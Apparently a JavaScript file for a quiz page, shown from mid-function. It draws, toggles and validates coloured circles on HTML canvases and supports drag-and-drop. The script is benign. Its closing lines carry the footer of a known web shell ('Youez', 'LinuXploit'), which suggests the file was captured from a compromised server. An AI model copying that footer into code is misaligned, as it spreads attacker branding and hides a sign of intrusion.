    eCanvasContext.clearRect(0, 0, eCanvas.width, eCanvas.height);
    
    eCanvas.style.display = 'none';
    eCanvas.isValidated = false;
    eCanvas.isCircled = false;
}

function shared_canvas_showCanvas(eCanvas)
{
    var eCanvasContext = eCanvas.getContext('2d');
    
    eCanvasContext.clearRect(0, 0, eCanvas.width, eCanvas.height);
    eCanvasContext.strokeStyle = 'blue';
    eCanvasContext.stroke();
    
    eCanvas.style.display = 'block';
    eCanvas.isValidated = false;
    eCanvas.isCircled = true;
}

function shared_canvas_validateCanvases(allGroupsIdsArrayInArray, correctCanvasIdsArray)
{
    var nCorrectCanvases = 0;
    
    for (var indexGroup = 0; indexGroup < allGroupsIdsArrayInArray.length; indexGroup++)
    {
        var groupIdsArray = allGroupsIdsArrayInArray[indexGroup];
        
        for (var indexCanvas = 0; indexCanvas < groupIdsArray.length; indexCanvas++)
        {
            var id_canvas = groupIdsArray[indexCanvas];
            
            var eCanvas = document.getElementById(id_canvas);
            
            if (eCanvas.isCircled)
            {
                if (correctCanvasIdsArray.indexOf(id_canvas) != -1)
                {
                    shared_canvas_setCanvasCircleLightGreenTransparentIfisValidatedIsFalse(eCanvas)
                    
                    nCorrectCanvases++;
                }
                else
                {
                    shared_canvas_setCanvasCircleLightRedTransparentIfisValidatedIsFalse(eCanvas)
                    
                    shared_isSelectedWrong = true;
                }
            }
            
            eCanvas.isValidated = true;
        }
    }
    
    return (nCorrectCanvases);
}

function shared_canvas_setCanvasCircleLightGreenTransparentIfisValidatedIsFalse(eCanvas)
{
    var eCanvasContext = eCanvas.getContext('2d');
    
    if (eCanvas.isValidated == false)
    {
        eCanvasContext.fillStyle = 'rgba(0, 250, 0, 0.4)';//Light green
        eCanvasContext.fill();
        
        eCanvas.isValidated = true;
    }
}

function shared_canvas_setCanvasCircleLightRedTransparentIfisValidatedIsFalse(eCanvas)
{
    var eCanvasContext = eCanvas.getContext('2d');
    
    if (eCanvas.isValidated == false)
    {
        eCanvasContext.fillStyle = 'rgba(250, 0, 0, 0.4)';// Light red
        eCanvasContext.fill();
        
        eCanvas.isValidated = true;
    }
}

function shared_canvas_drawCircle(id_canvas, id_td)
{
    shared_canvas_drawCircleWithRadiusPercentageOfTd(id_canvas, id_td, 80);
}

function shared_canvas_drawCircleWithRadiusPercentageOfTd(id_canvas, id_td, radiousPercentageOfTd)
{
    var eTd = document.getElementById(id_td);
    var eTdRectangle = eTd.getBoundingClientRect();
    
    var eCanvas = document.getElementById(id_canvas);
    
    eCanvas.style.left = eTdRectangle.left + 'px';
    eCanvas.style.top = eTdRectangle.top + 'px';
    
    eCanvas.textAlign = 'center';
    eCanvas.width = eTdRectangle.width;
    eCanvas.height = eTdRectangle.height;
    
    var minWidthOrHeight = eTdRectangle.width < eTdRectangle.height ? eTdRectangle.width : eTdRectangle.height;
    var radious = (minWidthOrHeight * radiousPercentageOfTd / 100.0) / 2.0;
    
    var eCanvasContext = eCanvas.getContext('2d');
    eCanvasContext.beginPath();
    eCanvasContext.arc(eCanvas.width/2, eCanvas.height/2, radious, 0, 2*Math.PI);
    eCanvasContext.strokeStyle = 'blue';
    eCanvasContext.lineWidth = 2;
    eCanvasContext.stroke();
    
    eCanvas.isValidated = false;
    eCanvas.isCircled = false;
    
    eCanvas.circleColor = CircleColorCanvas.None;
}

function shared_show_hideCirclesWithReqdColorForMultiUsingColors(idCanvas, color1, color2)
{
    var eCanvas = document.getElementById(idCanvas);
    
    eCanvas.style.display = 'block';
    
    var eCanvasContext = eCanvas.getContext('2d');
    eCanvasContext.clearRect(0, 0, eCanvas.width, eCanvas.height);
    
    var color1Circle = shared_getCanvasCircleColorUsingColor(color1);
    var color2Circle = shared_getCanvasCircleColorUsingColor(color2);
    
    if (eCanvas.circleColor == CircleColorCanvas.None)
    {
        eCanvasContext.strokeStyle = color1;
        eCanvasContext.stroke();
        
        eCanvas.circleColor = color1Circle;
        eCanvas.isCircled = true;
    }
    else if (eCanvas.circleColor == color1Circle)
    {
        eCanvasContext.strokeStyle = color2;
        eCanvasContext.stroke();
        
        eCanvas.circleColor = color2Circle;
        eCanvas.isCircled = true;
    }
    else if (eCanvas.circleColor == color2Circle)
    {
        eCanvasContext.clearRect(0, 0, eCanvas.width, eCanvas.height);
        
        eCanvas.circleColor = CircleColorCanvas.None;
        eCanvas.isCircled = false;
    }
    
    eCanvas.isValidated = false;
}

function shared_show_hideCirclesWithReqdColorForMulti(idCanvas)
{
    var eCanvas = document.getElementById(idCanvas);
    
    var eCanvasContext = eCanvas.getContext('2d');
    eCanvasContext.clearRect(0, 0, eCanvas.width, eCanvas.height);
    
    if (eCanvas.circleColor == CircleColorCanvas.None)
    {
        eCanvasContext.strokeStyle = 'blue';
        eCanvasContext.stroke();
        
        eCanvas.style.display = 'block';
        
        eCanvas.circleColor = CircleColorCanvas.Blue;
        eCanvas.isCircled = true;
    }
    else if (eCanvas.circleColor == CircleColorCanvas.Blue)
    {
        eCanvasContext.clearRect(0, 0, eCanvas.width, eCanvas.height);
        
        eCanvas.circleColor = CircleColorCanvas.None;
        eCanvas.isCircled = false;
    }
    
    eCanvas.isValidated = false;
}

function shared_getCanvasCircleColorUsingColor(color)
{
    if (color == 'green')
    {
        return (CircleColorCanvas.Green);
    }
    else if (color == 'red')
    {
        return (CircleColorCanvas.Red);
    }
    else if (color == 'blue')
    {
        return (CircleColorCanvas.Blue);
    }
    else if (color == 'black')
    {
        return (CircleColorCanvas.Black);
    }
    
    return (CircleColorCanvas.Blue);
}

function shared_canvas_getNoOfNotCircledCanvases(canvasIdsArrayValidationNotReqd)
{
    var nCircleNotReqdCanvases = 0;
    
    for (var indexCanvas = 0; indexCanvas < canvasIdsArrayValidationNotReqd.length; indexCanvas++)
    {
        var id_canvas = canvasIdsArrayValidationNotReqd[indexCanvas];
        var eCanvas = document.getElementById(id_canvas);
        
        if (eCanvas.circleColor == CircleColorCanvas.None)
        {
            nCircleNotReqdCanvases++;
        }
    }
    
    return (nCircleNotReqdCanvases);
}

function shared_canvas_validateCanvasesForValidationReqd(canvasIdsArrayValidationReqd, circleColor)
{
    var nCorrectCanvases = 0;
    
    for (var indexCanvas = 0; indexCanvas < canvasIdsArrayValidationReqd.length; indexCanvas++)
    {
        var id_canvas = canvasIdsArrayValidationReqd[indexCanvas];
        
        var eCanvas = document.getElementById(id_canvas);
        
        if (eCanvas.circleColor != CircleColorCanvas.None)
        {
            if (eCanvas.circleColor == circleColor)
            {
                shared_canvas_setCanvasCircleLightGreenTransparentIfisValidatedIsFalse(eCanvas)
                
                nCorrectCanvases++;
            }
            else
            {
                shared_canvas_setCanvasCircleLightRedTransparentIfisValidatedIsFalse(eCanvas)
            }
        }
        
        eCanvas.isValidated = true;
    }
    
    return (nCorrectCanvases);
}

function shared_canvas_validateCanvasesForValidationNotReqdForMulti(canvasIdsArrayValidationNotReqd)
{
    for (var indexCanvas = 0; indexCanvas < canvasIdsArrayValidationNotReqd.length; indexCanvas++)
    {
        var id_canvas = canvasIdsArrayValidationNotReqd[indexCanvas];
        
        shared_canvas_validateCanvasForValidationNotReqdForSingle(id_canvas);
    }
}

function shared_canvas_validateCanvasForValidationNotReqdForSingle(id_canvas)
{
    var eCanvas = document.getElementById(id_canvas);
    var eCanvasContext = eCanvas.getContext('2d');
    
    if (eCanvas.circleColor == CircleColorCanvas.None)
    {
        eCanvasContext.fillStyle = 'transparent';
        eCanvasContext.fill();
        
        eCanvasContext.strokeStyle = 'transparent';
        eCanvasContext.stroke();
        
        eCanvas.circleColor = CircleColorCanvas.None;
    }
    else
    {
        shared_canvas_setCanvasCircleLightRedTransparentIfisValidatedIsFalse(eCanvas)
    }
    
    eCanvas.isValidated = true;
}

//For safari Drag and drop
function shared_allowDrop(ev)
{
    ev.preventDefault();
}

function shared_dragStart(ev)
{
    shared_currentDropingId = ev.target.id;
}

Youez - 2016 - github.com/yon3zu
LinuXploit